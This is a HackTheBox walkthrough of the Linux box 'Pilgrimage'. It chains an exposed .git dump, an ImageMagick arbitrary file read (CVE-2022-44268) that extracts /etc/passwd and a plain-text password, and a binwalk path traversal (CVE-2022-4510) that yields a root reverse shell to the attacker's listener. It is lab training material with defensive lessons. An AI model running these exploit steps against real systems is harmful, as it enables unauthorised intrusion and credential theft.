the_open_door
coffee
ESEN

Pilgrimage

HackTheBoxEasyLinux10.129.75.617 min read

The IP may vary: the lab had to be restarted at some point, so screenshots and commands might show a different address. Replace it with the one from your own instance.

#git-dump#imagemagick#cve-2022-44268#arbitrary-file-read#sqlite#binwalk#cve-2022-4510#inotifywait#exiftool#linux#oscp
TL;DR. Pilgrimage is an easy Linux box and it is all about files. Port 80 serves an image shrinker whose .git is exposed: git-dumper rebuilds the repository and out comes the source and, above all, the binary it uses under the hood, an ImageMagick 7.1.0-49. That version is CVE-2022-44268 (ImageMagick profile file read): when processing a PNG carrying a profile chunk pointing at a path, ImageMagick embeds the contents of that file into the output PNG, in hex. Uploading a crafted PNG and reading the result with exiftool reads any file on the server: first /etc/passwd (there is emily) and then the SQLite database the code itself gives away, with emily's password in plain text. Once in, ps shows a malwarescan.sh running as root that pipes everything landing in the upload directory through binwalk -e. That binwalk is CVE-2022-4510 (binwalk path traversal), a path traversal in the PFS extractor that ends in code execution: drop the booby-trapped PNG into the watched directory and the reverse shell comes back as root.
About the evidence. Five captures are published: four of the web app (the registration page, the front page, and the two upload screens with the URL of the shrunk file) and one of the public CVE-2022-4510 record. They are all browser captures, which is what the standard keeps as images. The exiftool output is cut with ... because the same hex dump is published in full inside the command that decodes it. The IP changes mid-box: reconnaissance ran against 10.129.75.61 and the final session reaches penelope from 10.129.75.109, because the box was restarted in between. Each block carries the IP that produced it.

Reconnaissance#

Initial scan#

We start with a ping. The returning TTL hints at the operating system: every OS starts it at a default value and every router decrements it by one per hop. A ttl=63 is 64 minus one hop, so it points to Linux (a hint, not a proof).


ping -c 1 10.129.75.61
64 bytes from 10.129.75.61: icmp_seq=1 ttl=63 time=23.3 ms

Full TCP scan: two ports.


sudo nmap -sS -n -Pn -p- --min-rate 5000 -vvv --open 10.129.75.61 -oG scan
Starting Nmap 7.99 ( https://nmap.org ) at 2026-10-12 22:11 +0000
Initiating SYN Stealth Scan at 22:11
Scanning 10.129.75.61 [65535 ports]
Discovered open port 22/tcp on 10.129.75.61
Discovered open port 80/tcp on 10.129.75.61
Completed SYN Stealth Scan at 22:11, 11.70s elapsed (65535 total ports)
Nmap scan report for 10.129.75.61
Host is up, received user-set (0.026s latency).
Scanned at 2026-10-12 22:11:42 UTC for 12s
Not shown: 64671 closed tcp ports (reset), 862 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 11.79 seconds
           Raw packets sent: 72777 (3.202MB) | Rcvd: 64673 (2.587MB)

The -sCV fills in the detail, and the name with it: port 80 redirects to http://pilgrimage.htb/.


nmap -p22,80 -sCV 10.129.75.61 -oN targetedScan
...
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
|   3072 20:be:60:d2:95:f6:28:c1:b7:e9:e8:17:06:f1:68:f3 (RSA)
|   256 0e:b6:a6:a8:c9:9b:41:73:74:6e:70:18:0d:5f:e0:af (ECDSA)
|_  256 d1:4e:29:3c:70:86:69:b4:d7:2c:c8:0b:48:6e:98:04 (ED25519)
80/tcp open  http    nginx 1.18.0
|_http-title: Did not follow redirect to http://pilgrimage.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 26.46 seconds

echo '10.129.75.61 pilgrimage.htb' | sudo tee -a /etc/hosts > /dev/null; tail -n 1 /etc/hosts
10.129.75.61 pilgrimage.htb

The site: an image shrinker#


curl 'http://pilgrimage.htb/' | html2text
...
***** Save space and shrink it! *****
*** A free online image shrinker. Create an account to save your images! ***
...
Copyright © 2022 Pilgrimage. Design: TemplateMo

The app takes an image, shrinks it and, if you have an account, stores it for you. Registration is open.

Pilgrimage's registration form at register.php, filled in with the user test

A .git served by nginx itself#

Directory fuzzing finds the usual (login.php, register.php, dashboard.php) and one thing that should not be there: the .git directory, with its internals reachable one by one.


dirsearch -u http://pilgrimage.htb/ --exclude-status=403,404 -t 200 2>/dev/null
...
[22:26:43] 301 -  169B  - /.git  ->  http://pilgrimage.htb/.git/
[22:26:43] 200 -    2KB - /.git/COMMIT_EDITMSG
[22:26:43] 200 -   92B  - /.git/config
[22:26:43] 200 -   73B  - /.git/description
[22:26:44] 200 -   23B  - /.git/HEAD
[22:26:44] 200 -    4KB - /.git/index
[22:26:44] 200 -  240B  - /.git/info/exclude
[22:26:44] 200 -  195B  - /.git/logs/HEAD
[22:26:44] 301 -  169B  - /.git/logs/refs/heads  ->  http://pilgrimage.htb/.git/logs/refs/heads/
[22:26:44] 301 -  169B  - /.git/logs/refs  ->  http://pilgrimage.htb/.git/logs/refs/
[22:26:44] 200 -  195B  - /.git/logs/refs/heads/master
[22:26:44] 200 -   41B  - /.git/refs/heads/master
[22:26:44] 301 -  169B  - /.git/refs/heads  ->  http://pilgrimage.htb/.git/refs/heads/
[22:26:44] 301 -  169B  - /.git/refs/tags  ->  http://pilgrimage.htb/.git/refs/tags/
[22:26:56] 301 -  169B  - /assets  ->  http://pilgrimage.htb/assets/
[22:27:02] 302 -    0B  - /dashboard.php  ->  /login.php
[22:27:12] 200 -    6KB - /login.php
[22:27:12] 302 -    0B  - /logout.php  ->  /
[22:27:22] 200 -    6KB - /register.php
[22:27:29] 301 -  169B  - /tmp  ->  http://pilgrimage.htb/tmp/

Directory listing is forbidden (403), but that does not matter: a git repository has a predictable structure, so you just request file by file. git-dumper automates exactly that (dumping an exposed .git).


git-dumper http://pilgrimage.htb/ /machines/htb/pilgrimage/dumped_repo
[-] Testing http://pilgrimage.htb/.git/HEAD [200]
[-] Testing http://pilgrimage.htb/.git/ [403]
[-] Fetching common files
[-] Fetching http://pilgrimage.htb/.gitignore [404]
[-] http://pilgrimage.htb/.gitignore responded with status code 404
...

The source code and the magick binary#


cd /machines/htb/pilgrimage/dumped_repo

ls
assets  dashboard.php  index.php  login.php  logout.php  magick  register.php  vendor

Two things stand out. First, in dashboard.php: the app keeps its data in a SQLite database whose path is written in the code.


cat dashboard.php
...
  14 │   $db = new PDO('sqlite:/var/db/pilgrimage');
...

Second, the repository includes the binary doing the work, magick. That is a gift: no need to guess the version, just ask it.


./magick
Error: Invalid argument or not enough arguments

Usage: magick tool [ {option} | {image} ... ] {output_image}
Usage: magick [ {option} | {image} ... ] {output_image}
       magick [ {option} | {image} ... ] -script {filename} [ {script_args} ...]
       magick -help | -version | -usage | -list {option}

./magick -version
Version: ImageMagick 7.1.0-49 beta Q16-HDRI x86_64 c243c9281:20220911 https://imagemagick.org
Copyright: (C) 1999 ImageMagick Studio LLC
License: https://imagemagick.org/script/license.php
Features: Cipher DPC HDRI OpenMP(4.5)
Delegates (built-in): bzlib djvu fontconfig freetype jbig jng jpeg lcms lqr lzma openexr png raqm tiff webp x xml zlib
Compiler: gcc (7.5)

ImageMagick 7.1.0-49. That exact version has a name of its own.

Arbitrary file read (CVE-2022-44268)#

The mechanism#

A PNG can carry text chunks with metadata. One of them declares a profile, and on the affected versions ImageMagick read its value as a local file path: when rewriting the image, it read that file and embedded it in the output PNG as a hex Raw profile type. In other words, the server hands us back whatever file we ask for, hidden inside the shrunk image (arbitrary file read).

Sybil Scan's PoC generates that PNG.


git clone https://github.com/Sybil-Scan/imagemagick-lfi-poc
...
Resolving deltas: 100% (2/2), done.

cd imagemagick-lfi-poc

python3 generate.py -f /etc/passwd -o image.png
   [>] ImageMagick LFI PoC - by Sybil Scan Research <research@sybilscan.com>
   [>] Generating Blank PNG
   [>] Blank PNG generated
   [>] Placing Payload to read /etc/passwd
   [>] PoC PNG generated > image.png

It uploads like any other image, and the page itself returns the URL of the result.

Pilgrimage's front page with image.png chosen in the form and the link http://pilgrimage.htb/shrunk/6acd7dc42e9dd.png under the Shrink button

Reading /etc/passwd out of the PNG#


wget http://pilgrimage.htb/shrunk/6acd7dc42e9dd.png
...
2026-10-13 00:40:07 (192 MB/s) - ‘6acd7dc42e9dd.png’ saved [1688/1688]

exiftool 6acd7dc42e9dd.png
...
Raw Profile Type                : ..    1437.726f6f743a783a303a303a726f6f743a2f726f6f743a2f62696e2f626173680a6461656d.6f6e3a783a313a313a6461656d6f6e3a2f7573722f7362696e3a2f7573722f7362696e2f.
...
Warning                         : [minor] Text/EXIF chunk(s) found after PNG IDAT (may be ignored by some readers) [x3]
...

The dump is hex with a dot every 32 bytes, so the dots have to go before decoding. The leading 7 is the tail of the length header (1437), not part of the file.


python3 -c 'hex_data = "1437.726f6f743a783a303a303a726f6f743a2f726f6f743a2f62696e2f626173680a6461656d.6f6e3a783a313a313a6461656d6f6e3a2f7573722f7362696e3a2f7573722f7362696e2f.6e6f6c6f67696e0a62696e3a783a323a323a62696e3a2f62696e3a2f7573722f7362696e.2f6e6f6c6f67696e0a7379733a783a333a333a7379733a2f6465763a2f7573722f736269.6e2f6e6f6c6f67696e0a73796e633a783a343a36353533343a73796e633a2f62696e3a2f.62696e2f73796e630a67616d65733a783a353a36303a67616d65733a2f7573722f67616d.65733a2f7573722f7362696e2f6e6f6c6f67696e0a6d616e3a783a363a31323a6d616e3a.2f7661722f63616368652f6d616e3a2f7573722f7362696e2f6e6f6c6f67696e0a6c703a.783a373a373a6c703a2f7661722f73706f6f6c2f6c70643a2f7573722f7362696e2f6e6f.6c6f67696e0a6d61696c3a783a383a383a6d61696c3a2f7661722f6d61696c3a2f757372.2f7362696e2f6e6f6c6f67696e0a6e6577733a783a393a393a6e6577733a2f7661722f73.706f6f6c2f6e6577733a2f7573722f7362696e2f6e6f6c6f67696e0a757563703a783a31.303a31303a757563703a2f7661722f73706f6f6c2f757563703a2f7573722f7362696e2f.6e6f6c6f67696e0a70726f78793a783a31333a31333a70726f78793a2f62696e3a2f7573.722f7362696e2f6e6f6c6f67696e0a7777772d646174613a783a33333a33333a7777772d.646174613a2f7661722f7777773a2f7573722f7362696e2f6e6f6c6f67696e0a6261636b.75703a783a33343a33343a6261636b75703a2f7661722f6261636b7570733a2f7573722f.7362696e2f6e6f6c6f67696e0a6c6973743a783a33383a33383a4d61696c696e67204c69.7374204d616e616765723a2f7661722f6c6973743a2f7573722f7362696e2f6e6f6c6f67.696e0a6972633a783a33393a33393a697263643a2f72756e2f697263643a2f7573722f73.62696e2f6e6f6c6f67696e0a676e6174733a783a34313a34313a476e617473204275672d.5265706f7274696e672053797374656d202861646d696e293a2f7661722f6c69622f676e.6174733a2f7573722f7362696e2f6e6f6c6f67696e0a6e6f626f64793a783a3635353334.3a36353533343a6e6f626f64793a2f6e6f6e6578697374656e743a2f7573722f7362696e.2f6e6f6c6f67696e0a5f6170743a783a3130303a36353533343a3a2f6e6f6e6578697374.656e743a2f7573722f7362696e2f6e6f6c6f67696e0a73797374656d642d6e6574776f72.6b3a783a3130313a3130323a73797374656d64204e6574776f726b204d616e6167656d65.6e742c2c2c3a2f72756e2f73797374656d643a2f7573722f7362696e2f6e6f6c6f67696e.0a73797374656d642d7265736f6c76653a783a3130323a3130333a73797374656d642052.65736f6c7665722c2c2c3a2f72756e2f73797374656d643a2f7573722f7362696e2f6e6f.6c6f67696e0a6d6573736167656275733a783a3130333a3130393a3a2f6e6f6e65786973.74656e743a2f7573722f7362696e2f6e6f6c6f67696e0a73797374656d642d74696d6573.796e633a783a3130343a3131303a73797374656d642054696d652053796e6368726f6e69.7a6174696f6e2c2c2c3a2f72756e2f73797374656d643a2f7573722f7362696e2f6e6f6c.6f67696e0a656d696c793a783a313030303a313030303a656d696c792c2c2c3a2f686f6d.652f656d696c793a2f62696e2f626173680a73797374656d642d636f726564756d703a78.3a3939393a3939393a73797374656d6420436f72652044756d7065723a2f3a2f7573722f.7362696e2f6e6f6c6f67696e0a737368643a783a3130353a36353533343a3a2f72756e2f.737368643a2f7573722f7362696e2f6e6f6c6f67696e0a5f6c617572656c3a783a393938.3a3939383a3a2f7661722f6c6f672f6c617572656c3a2f62696e2f66616c73650a."
clean_hex = hex_data.replace(".", "")
print(bytes.fromhex(clean_hex).decode("latin-1"))'
7root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:109::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:110:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
emily:x:1000:1000:emily,,,:/home/emily:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
_laurel:x:998:998::/var/log/laurel:/bin/false

One user with a home and a shell: emily. And there is a detail worth noting for later: there is a _laurel, the user of Laurel, an audit collector. The box is logging what happens.

Shell as emily#

The SQLite database at /var/db/pilgrimage#

We repeat the trick with the path that showed up in dashboard.php.


python3 generate.py -f /var/db/pilgrimage -o image.png
   [>] ImageMagick LFI PoC - by Sybil Scan Research <research@sybilscan.com>
   [>] Generating Blank PNG
   [>] Blank PNG generated
   [>] Placing Payload to read /etc/passwd
   [>] PoC PNG generated > image.png

The PoC prints Placing Payload to read /etc/passwd even though we asked for another path: that is a fixed string in the script, not what it does. The file that ends up inside the PNG is the one -f names.

Pilgrimage's front page with image.png chosen in the upload form

The form after shrinking, with the link http://pilgrimage.htb/shrunk/6acd7b0e44ad1.png highlighted

This time the file is binary, so instead of printing it we trim from the SQLite header (53514c is SQL in hex) and pipe it through strings.


exiftool -s3 -RawProfileType 6acd7b0e44ad1.png | python3 -c "import sys, re; h=re.sub(r'[^0-9a-fA-F]', '', sys.stdin.read()); print(bytes.fromhex(h[h.find('53514c'):]).decode('latin-1'))" | strings
SQLite format 3
Stableimagesimages
CREATE TABLE images (url TEXT PRIMARY KEY NOT NULL, original TEXT NOT NULL, username TEXT NOT NULL)+
indexsqlite_autoindex_images_1images
+tableusersusers
CREATE TABLE users (username TEXT PRIMARY KEY NOT NULL, password TEXT NOT NULL))
indexsqlite_autoindex_users_1users
-emilyabigchonkyboi123
        emily

The users table does not store hashes: it stores the plain-text password. emily / abigchonkyboi123.


ssh emily@pilgrimage.htb
...
emily@pilgrimage:~$ whoami
emily
emily@pilgrimage:~$ id
uid=1000(emily) gid=1000(emily) groups=1000(emily)

cat user.txt
cef815b0dd61014793927e1b31f53325

Shell as root#

A root process on the uploads directory#

emily has no sudo and nothing eye-catching, so the next move is to look at what is running.


ps -faux | grep .sh
root         104  0.0  0.0      0     0 ?        I<   22:17   0:00  \_ [zswap-shrink]
root         697  0.0  0.0   6816  2964 ?        Ss   22:18   0:00 /bin/bash /usr/sbin/malwarescan.sh
root         736  0.0  0.0   2516   716 ?        S    22:18   0:00  \_ /usr/bin/inotifywait -m -e create /var/www/pilgrimage.htb/shrunk/
root         738  0.0  0.0   6816  2104 ?        S    22:18   0:00  \_ /bin/bash /usr/sbin/malwarescan.sh
root         772  0.0  0.1  13352  7144 ?        Ss   22:18   0:00 sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups
root         922  0.0  0.2  14712  8880 ?        Ss   22:20   0:00  \_ sshd: emily [priv]
emily        943  0.0  0.1  14712  5828 ?        S    22:20   0:00      \_ sshd: emily@pts/0
emily        944  0.0  0.1   8888  5668 pts/0    Ss   22:20   0:00          \_ -bash
emily       3566  0.0  0.0   6240   640 pts/0    S+   23:23   0:00              \_ grep .sh
...

A malwarescan.sh as root and, hanging off it, an inotifywait -m -e create on the directory where shrunk images land. That is: every new file arriving there will be touched by a root process.


cat /usr/sbin/malwarescan.sh
#!/bin/bash

blacklist=("Executable script" "Microsoft executable")

/usr/bin/inotifywait -m -e create /var/www/pilgrimage.htb/shrunk/ | while read FILE; do
        filename="/var/www/pilgrimage.htb/shrunk/$(/usr/bin/echo "$FILE" | /usr/bin/tail -n 1 | /usr/bin/sed -n -e 's/^.*CREATE //p')"
        binout="$(/usr/local/bin/binwalk -e "$filename")"
        for banned in "${blacklist[@]}"; do
                if [[ "$binout" == *"$banned"* ]]; then
                        /usr/bin/rm "$filename"
                        break
                fi
        done
done

The script is a homemade antivirus: it runs each file through binwalk -e and, if the analysis mentions anything on a blacklist, deletes it. The blacklist does not matter. What matters is the -e: extraction.

binwalk and CVE-2022-4510#

The CVE-2022-4510 record on miggo.io: path traversal in binwalk from 2.1.2b to 2.3.3, the PFS extractor writes to arbitrary paths with -e, and RCE is achieved by dropping a module into .config/binwalk/plugins

binwalk's PFS filesystem extractor does not validate the paths carried inside the file, so a crafted image can make the extraction write outside the destination directory. And binwalk loads its plugins from .config/binwalk/plugins: if the extraction drops a module there, the next run imports it and executes its code. Since the one running binwalk here is root, the code is root's.


searchsploit 'binwalk'
------------------------------------------------------------------------------------------------------------- -----------------------
 Exploit Title                                                                                               |  Path
------------------------------------------------------------------------------------------------------------- -----------------------
Binwalk v2.3.2 - Remote Command Execution (RCE)                                                              | python/remote/51249.py
------------------------------------------------------------------------------------------------------------- -----------------------

searchsploit -m python/remote/51249.py
...
Copied to: /machines/htb/pilgrimage/exploits/51249.py

mv 51249.py exploit.py

python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Dropping the file where inotifywait can see it#


wget http://10.10.15.120/exploit.py
...
2026-10-13 23:22:31 (299 MB/s) - ‘exploit.py’ saved [2728/2728]

touch dwn.png

python3 exploit.py dwn.png 10.10.15.120 4444
...
You can now rename and share binwalk_exploit and start your local netcat listener.

The last step has a catch. The root script takes the filename from the line inotifywait prints, so the file has to be created in that directory, not moved into it: a base64 | base64 -d redirection does exactly that, writing a new file byte by byte.


base64 binwalk_exploit.png | base64 -d > /var/www/pilgrimage.htb/shrunk/binwalk.png

penelope
[+] Listening for reverse shells on 0.0.0.0:4444 →  127.0.0.1 • 192.168.68.113 • 172.17.0.1 • 10.10.15.120
➤  🏠 Main Menu (m) 💀 Payloads (p) 🔄 Clear (Ctrl-L) 🚫 Quit (q/Ctrl-C)
[+] Got reverse shell from pilgrimage~10.129.75.109-Linux-x86_64 😍 Assigned SessionID <1>
[+] Attempting to upgrade shell to PTY...
[+] Shell upgraded successfully using /usr/bin/python3! 💪
[+] Interacting with session [1], Shell Type: PTY, Menu key: Ctrl+P
[+] Logging to /root/.penelope/sessions/pilgrimage~10.129.75.109-Linux-x86_64/2026_10_13-12_17_24-350.log 📜
─────────────────────────────────────────────────────────────────────────────────────────
root@pilgrimage:~/quarantine# cat /root/root.txt
40fa82a94e7c05869cef027bd0aaf35e

The session lands straight in /root/quarantine, which is where the script moves what it analyses. And the IP penelope prints is 10.129.75.109, not the one from reconnaissance: the box was restarted in between and HTB gave it another.

Box rooted.

Attack chain#

HTTP (80)  ─►  pilgrimage.htb: un encoge-imagenes con registro libre
  │  dirsearch  ─►  /.git servido (403 el listado, 200 los ficheros)
  ▼
git-dumper  ─►  codigo fuente + el binario magick
  │  dashboard.php: sqlite:/var/db/pilgrimage   |   ./magick -version: 7.1.0-49
  ▼
CVE-2022-44268  ─►  PNG con un chunk profile que apunta a una ruta local
  │  subir  ─►  wget del shrunk  ─►  exiftool  ─►  hex  ─►  /etc/passwd (emily)
  ▼
mismo truco contra /var/db/pilgrimage  ─►  tabla users en CLARO  ─►  emily:abigchonkyboi123
  │  ssh emily  ─►  user.txt
  ▼
ps -faux  ─►  malwarescan.sh (root) + inotifywait sobre /shrunk/  ─►  binwalk -e
  │  CVE-2022-4510 (path traversal en el extractor de PFS)
  ▼
crear el PNG trampa en /shrunk/  ─►  reverse shell como root  ─►  root.txt

Lessons learned#

  • A published .git is published source code. A 403 on the directory listing protects nothing: a repository's structure is fixed and git-dumper walks it file by file. And here it was not just code: the binary came with it, and the binary could be asked its version.
  • Processing an uploaded file means running third-party code over it. The application had no flaw of its own; the flaw was ImageMagick's, but the application exposed it. Keeping whatever parses user input up to date matters as much as keeping the application itself up to date.
  • An arbitrary read does not need visible output. CVE-2022-44268 returns the file hidden in the output image's metadata. The channel was the shrunk image itself, and exiftool was needed to see it.
  • An unhashed password is a gifted password. The users table stored plain text, so reading the database was reading the credential. A slow hash would have turned that step into another problem.
  • Whatever watches a directory also processes it. inotifywait was not the defence: it was the trigger. A homemade antivirus calling an extractor as root over files anyone can upload turns the upload folder into an entry point to the most privileged account.
  • Looking at processes beats hunting for SUID binaries. The escalation vector was not a permission, it was a running task. A well-read ps -faux showed the script, the binary it called and the exact directory the file had to land in.
Command cheatsheet 14 commands

Quick review